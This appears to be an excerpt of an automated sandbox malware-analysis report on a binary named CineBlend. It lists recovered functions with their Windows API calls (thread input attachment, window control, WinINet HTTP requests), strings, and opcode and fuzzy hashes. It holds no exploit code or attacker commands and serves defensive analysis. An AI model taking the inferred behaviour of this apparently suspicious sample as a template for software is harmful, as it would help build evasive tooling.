                                  • SendMessageW.USER32(?,00001008,00000000,00000007), ref: 00BC46AF
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessageSend$LongWindow
                                  • String ID:
                                  • API String ID: 312131281-0
                                  • Opcode ID: 462d6d3e0216f2f099e6ff74dfad8ec50ddaac8b1a3b7080fe5d4a84cb8eaa47
                                  • Instruction ID: a8d98bf096251e73da34ed9f4f8cc572c6504e62a49b38b5649550d7b133212d
                                  • Opcode Fuzzy Hash: 462d6d3e0216f2f099e6ff74dfad8ec50ddaac8b1a3b7080fe5d4a84cb8eaa47
                                  • Instruction Fuzzy Hash: 3C616975A00218AFDB20DFA4CC85FEE77F8EB09710F1041AAFA14A72A1D774AA45DB50
                                  Function 00B9BAF6 Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetCurrentThreadId.KERNEL32 ref: 00B9BB18
                                  • GetForegroundWindow.USER32(00000000,?,?,?,?,?,00B9ABA8,?,00000001), ref: 00B9BB2C
                                  • GetWindowThreadProcessId.USER32(00000000), ref: 00B9BB33
                                  • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00B9ABA8,?,00000001), ref: 00B9BB42
                                  • GetWindowThreadProcessId.USER32(?,00000000), ref: 00B9BB54
                                  • AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,00B9ABA8,?,00000001), ref: 00B9BB6D
                                  • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00B9ABA8,?,00000001), ref: 00B9BB7F
                                  • AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00B9ABA8,?,00000001), ref: 00B9BBC4
                                  • AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,00B9ABA8,?,00000001), ref: 00B9BBD9
                                  • AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,00B9ABA8,?,00000001), ref: 00B9BBE4
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                  • String ID:
                                  • API String ID: 2156557900-0
                                  • Opcode ID: a28b4cbe19c6c87a6a31cfcd0aeb03609ee709fc2aac2eb5b8cc99350ae7aafb
                                  • Instruction ID: 1435a0ddd24dc9a076b2848865791463a9fecd4631a91be9cd63e15a2cbd08a2
                                  • Opcode Fuzzy Hash: a28b4cbe19c6c87a6a31cfcd0aeb03609ee709fc2aac2eb5b8cc99350ae7aafb
                                  • Instruction Fuzzy Hash: 5A316FB6904204AFDF149B24EE88F6E7BE9EB4931AF114075FB05E71E4D7749940CB60
                                  Function 00B62FF3 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                  Download Yara Rule
                                  APIs
                                  • _free.LIBCMT ref: 00B63007
                                    • Part of subcall function 00B62D38: RtlFreeHeap.NTDLL(00000000,00000000,?,00B6DB51,?,00000000,?,00000000,?,00B6DB78,?,00000007,?,?,00B6DF75,?), ref: 00B62D4E
                                    • Part of subcall function 00B62D38: GetLastError.KERNEL32(?,?,00B6DB51,?,00000000,?,00000000,?,00B6DB78,?,00000007,?,?,00B6DF75,?,?), ref: 00B62D60
                                  • _free.LIBCMT ref: 00B63013
                                  • _free.LIBCMT ref: 00B6301E
                                  • _free.LIBCMT ref: 00B63029
                                  • _free.LIBCMT ref: 00B63034
                                  • _free.LIBCMT ref: 00B6303F
                                  • _free.LIBCMT ref: 00B6304A
                                  • _free.LIBCMT ref: 00B63055
                                  • _free.LIBCMT ref: 00B63060
                                  • _free.LIBCMT ref: 00B6306E
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _free$ErrorFreeHeapLast
                                  • String ID:
                                  • API String ID: 776569668-0
                                  • Opcode ID: 049dbba4de334f7cbca4a97add4048978ddbc5c9a047556a82a9c872491c7551
                                  • Instruction ID: d8cf83ab97b791dc5757681311c18c3bffa2e073388cd910bb760135ad9ecf7f
                                  • Opcode Fuzzy Hash: 049dbba4de334f7cbca4a97add4048978ddbc5c9a047556a82a9c872491c7551
                                  • Instruction Fuzzy Hash: CF118676500508BFDB01EF94C942DDD3BE5EF06390B9145E5FA08DF222DA36EE519B90
                                  Function 00BA8835 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00BA89F2
                                  • SetCurrentDirectoryW.KERNEL32(?), ref: 00BA8A06
                                  • GetFileAttributesW.KERNEL32(?), ref: 00BA8A30
                                  • SetFileAttributesW.KERNEL32(?,00000000), ref: 00BA8A4A
                                  • SetCurrentDirectoryW.KERNEL32(?), ref: 00BA8A5C
                                  • SetCurrentDirectoryW.KERNEL32(?), ref: 00BA8AA5
                                  • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00BA8AF5
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CurrentDirectory$AttributesFile
                                  • String ID: *.*
                                  • API String ID: 769691225-438819550
                                  • Opcode ID: dffe0512a892f9fac0fe0448a30a5aa3b6f1ffa5268d56ca78dacb146d76f2b9
                                  • Instruction ID: 55a770f666f21028ad432fe8965f787003e02a09a918cb0b189706465d7e7f86
                                  • Opcode Fuzzy Hash: dffe0512a892f9fac0fe0448a30a5aa3b6f1ffa5268d56ca78dacb146d76f2b9
                                  • Instruction Fuzzy Hash: 4C818F729083459BCB24EF14C484ABBB7E8FF8A310F5448AEF885D7650EF34D9458B92
                                  Function 00B37447 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SetWindowLongW.USER32(?,000000EB), ref: 00B374D7
                                    • Part of subcall function 00B37567: GetClientRect.USER32(?,?), ref: 00B3758D
                                    • Part of subcall function 00B37567: GetWindowRect.USER32(?,?), ref: 00B375CE
                                    • Part of subcall function 00B37567: ScreenToClient.USER32(?,?), ref: 00B375F6
                                  • GetDC.USER32 ref: 00B76083
                                  • SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00B76096
                                  • SelectObject.GDI32(00000000,00000000), ref: 00B760A4
                                  • SelectObject.GDI32(00000000,00000000), ref: 00B760B9
                                  • ReleaseDC.USER32(?,00000000), ref: 00B760C1
                                  • MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00B76152
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
                                  • String ID: U
                                  • API String ID: 4009187628-3372436214
                                  • Opcode ID: e01dee779dec8477f9e46c4e59368db1eafb8af567326dcef7f48baf479bf12e
                                  • Instruction ID: 5ca9a75a3755d666628d10172a320ded8ed66cac97a74f611f4b0d660e9222fa
                                  • Opcode Fuzzy Hash: e01dee779dec8477f9e46c4e59368db1eafb8af567326dcef7f48baf479bf12e
                                  • Instruction Fuzzy Hash: 9071C071500605DFCF258F64CCC9EAA7BF5FF49310F2482EAE9696A2A6CB319C40DB50
                                  Function 00BC955E Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B3249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00B324B0
                                    • Part of subcall function 00B319CD: GetCursorPos.USER32(?), ref: 00B319E1
                                    • Part of subcall function 00B319CD: ScreenToClient.USER32(00000000,?), ref: 00B319FE
                                    • Part of subcall function 00B319CD: GetAsyncKeyState.USER32(00000001), ref: 00B31A23
                                    • Part of subcall function 00B319CD: GetAsyncKeyState.USER32(00000002), ref: 00B31A3D
                                  • ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?), ref: 00BC95C7
                                  • ImageList_EndDrag.COMCTL32 ref: 00BC95CD
                                  • ReleaseCapture.USER32 ref: 00BC95D3
                                  • SetWindowTextW.USER32(?,00000000), ref: 00BC966E
                                  • SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00BC9681
                                  • DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?), ref: 00BC975B
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
                                  • String ID: @GUI_DRAGFILE$@GUI_DROPID
                                  • API String ID: 1924731296-2107944366
                                  • Opcode ID: 0dd9ae52d32b2f7c337f287fd80b1a7997fbd75b0ccc9eca9591a03975078675
                                  • Instruction ID: 2365481e143ae0fff5b362f76180f6ec7583dc67a2cdb2b7d799594a2cdf4d73
                                  • Opcode Fuzzy Hash: 0dd9ae52d32b2f7c337f287fd80b1a7997fbd75b0ccc9eca9591a03975078675
                                  • Instruction Fuzzy Hash: 4D516C75204304AFD704EF24CC5AFAA77E4FB88714F500A6DF996972E1DB709908CB52
                                  Function 00BACC98 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON
                                  Download Yara Rule
                                  APIs
                                  • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00BACCB7
                                  • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00BACCDF
                                  • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00BACD0F
                                  • GetLastError.KERNEL32 ref: 00BACD67
                                  • SetEvent.KERNEL32(?), ref: 00BACD7B
                                  • InternetCloseHandle.WININET(00000000), ref: 00BACD86
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
                                  • String ID:
                                  • API String ID: 3113390036-3916222277
                                  • Opcode ID: 08a3bb905f2fef520586a198d6ea5b6367edbae47cc8326740607c309243c7fd
                                  • Instruction ID: 091448532209a373c88ed9ff476d2122da4d10133fcb7554ba453e1c7d61e792
                                  • Opcode Fuzzy Hash: 08a3bb905f2fef520586a198d6ea5b6367edbae47cc8326740607c309243c7fd
                                  • Instruction Fuzzy Hash: 80314175604604AFD7219F65CC88EAB7FFCEB4A744B10457EF48697200DB34DD049BA1
                                  Function 00B9A215 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00B755AE,?,?,Bad directive syntax error,00BCDCD0,00000000,00000010,?,?), ref: 00B9A236
                                  • LoadStringW.USER32(00000000,?,00B755AE,?), ref: 00B9A23D
                                    • Part of subcall function 00B3B329: _wcslen.LIBCMT ref: 00B3B333
                                  • MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00B9A301
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: HandleLoadMessageModuleString_wcslen
                                  • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                  • API String ID: 858772685-4153970271
                                  • Opcode ID: adc659028f3cfa19221404a32a0610a6d1654e17edfab176a0a59305c529ded3
                                  • Instruction ID: 790585fcc2607caf97cff437fd144f470a7b4b53f66aa2d8247ab238ac7c96bf
                                  • Opcode Fuzzy Hash: adc659028f3cfa19221404a32a0610a6d1654e17edfab176a0a59305c529ded3
                                  • Instruction Fuzzy Hash: 19212D3194021EABCF15AFA0CC46EEE7BB9BF18704F0444E9F615660A2EB71A618DB51
                                  Function 00B929EC Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetParent.USER32 ref: 00B929F8
                                  • GetClassNameW.USER32(00000000,?,00000100), ref: 00B92A0D
                                  • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00B92A9A
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ClassMessageNameParentSend
                                  • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                  • API String ID: 1290815626-3381328864
                                  • Opcode ID: 0b5286d63595dc13df7414af35abd0fda830bde3904cceb127ab337cfddf6121
                                  • Instruction ID: 64939ce71afbe9c923cde970011ac7374f60a38cbf94decdc21187fecdc37e85
                                  • Opcode Fuzzy Hash: 0b5286d63595dc13df7414af35abd0fda830bde3904cceb127ab337cfddf6121
                                  • Instruction Fuzzy Hash: 6A11A37BA4430AB9FE246720EC07EA677EDDF15725B2000F6FE04E60E2FB6568494A14
                                  Function 00B37567 Relevance: 13.8, APIs: 9, Instructions: 291COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetClientRect.USER32(?,?), ref: 00B3758D
                                  • GetWindowRect.USER32(?,?), ref: 00B375CE
                                  • ScreenToClient.USER32(?,?), ref: 00B375F6
                                  • GetClientRect.USER32(?,?), ref: 00B3773A
                                  • GetWindowRect.USER32(?,?), ref: 00B3775B
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Rect$Client$Window$Screen
                                  • String ID:
                                  • API String ID: 1296646539-0
                                  • Opcode ID: f71488fb898468f280f8ddfa30e5d6cf3048ba26f6ec8e19919b44bb933f0bf2
                                  • Instruction ID: 3ab752153a6b3a16876fe77a61c0c1dc03476c1f0a132c3dc6ae2763dfdd471d
                                  • Opcode Fuzzy Hash: f71488fb898468f280f8ddfa30e5d6cf3048ba26f6ec8e19919b44bb933f0bf2
                                  • Instruction Fuzzy Hash: 4BC1617990464ADFDB20CFA8C580BEDB7F1FF18310F24845AE8A9E7250DB34A951DB60
                                  Function 00B6D210 Relevance: 13.7, APIs: 9, Instructions: 209COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _free$EnvironmentVariable___from_strstr_to_strchr
                                  • String ID:
                                  • API String ID: 1282221369-0
                                  • Opcode ID: 579e3029c0d1a3c41ab06ff2087e1066556906d1f55a1bf80ce76518a1d6a32f
                                  • Instruction ID: d0bfac4c4f00a9bffb124d53c9062b2c5f67fe7b3f722555ebf33de7ec3b8446
                                  • Opcode Fuzzy Hash: 579e3029c0d1a3c41ab06ff2087e1066556906d1f55a1bf80ce76518a1d6a32f
                                  • Instruction Fuzzy Hash: 6661E771F04705AFDB21AF75D891B6DBBE4EF02320B0905EDED44E7281D6399940C751
                                  Function 00BC5B72 Relevance: 13.7, APIs: 9, Instructions: 162windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SendMessageW.USER32(?,00002001,00000000,00000000), ref: 00BC5C24
                                  • ShowWindow.USER32(?,00000000), ref: 00BC5C65
                                  • ShowWindow.USER32(?,00000005,?,00000000), ref: 00BC5C6B
                                  • SetFocus.USER32(?,?,00000005,?,00000000), ref: 00BC5C6F
                                    • Part of subcall function 00BC79F2: DeleteObject.GDI32(00000000), ref: 00BC7A1E
                                  • GetWindowLongW.USER32(?,000000F0), ref: 00BC5CAB
                                  • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00BC5CB8
                                  • InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00BC5CEB
                                  • SendMessageW.USER32(?,00001001,00000000,000000FE), ref: 00BC5D25
                                  • SendMessageW.USER32(?,00001026,00000000,000000FE), ref: 00BC5D34
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
                                  • String ID:
                                  • API String ID: 3210457359-0
                                  • Opcode ID: 0a799b549ab29cf7005e8d092e133c8ea3662c3905f5958cb7d48bd8a828115e
                                  • Instruction ID: f6c8467d824ef5452e0785895a40ba01a8af54170c795223907396fbf98324a3
                                  • Opcode Fuzzy Hash: 0a799b549ab29cf7005e8d092e133c8ea3662c3905f5958cb7d48bd8a828115e
                                  • Instruction Fuzzy Hash: 1C516C34640B08BFEF349F28CC49F997BE5EB04754F2481AAB6259A1E1CB75B9C0DB41
                                  Function 00B313A6 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 00B728D1
                                  • ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 00B728EA
                                  • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00B728FA
                                  • ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 00B72912
                                  • SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00B72933
                                  • DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00B311F5,00000000,00000000,00000000,000000FF,00000000), ref: 00B72942
                                  • SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00B7295F
                                  • DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00B311F5,00000000,00000000,00000000,000000FF,00000000), ref: 00B7296E
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Icon$DestroyExtractImageLoadMessageSend
                                  • String ID:
                                  • API String ID: 1268354404-0
                                  • Opcode ID: 6b0e90df40af4605bd14ff5c4004e48d4594e0e46e22917c9111f2f67ce1d027
                                  • Instruction ID: 19adf5d1401499e80eb8ff5ec375f537f0928c2efe00c4356746e8005e7cbc49
                                  • Opcode Fuzzy Hash: 6b0e90df40af4605bd14ff5c4004e48d4594e0e46e22917c9111f2f67ce1d027
                                  • Instruction Fuzzy Hash: 3E515B34600205AFDB24CF29CC85FAA77F9EF48710F208969FA56972A0DB70E950DF50
                                  Function 00BACB88 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON
                                  Download Yara Rule
                                  APIs
                                  • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00BACBC7
                                  • GetLastError.KERNEL32 ref: 00BACBDA
                                  • SetEvent.KERNEL32(?), ref: 00BACBEE
                                    • Part of subcall function 00BACC98: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00BACCB7
                                    • Part of subcall function 00BACC98: GetLastError.KERNEL32 ref: 00BACD67
                                    • Part of subcall function 00BACC98: SetEvent.KERNEL32(?), ref: 00BACD7B
                                    • Part of subcall function 00BACC98: InternetCloseHandle.WININET(00000000), ref: 00BACD86
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
                                  • String ID:
                                  • API String ID: 337547030-0
                                  • Opcode ID: a118bf33d3d706db3ff5a53b1425d47c6d3893b9d6af0f5a2a0e78370b9b6bd8
                                  • Instruction ID: 75baa9559b7aeaafddb6e120d7294944ef5aabffc9ab38978124d67395ce09e8
                                  • Opcode Fuzzy Hash: a118bf33d3d706db3ff5a53b1425d47c6d3893b9d6af0f5a2a0e78370b9b6bd8
                                  • Instruction Fuzzy Hash: 48316B75604705BFDB219F75CD84A6ABFF8FF4A310B04456EF85A87610EB31E814ABA0
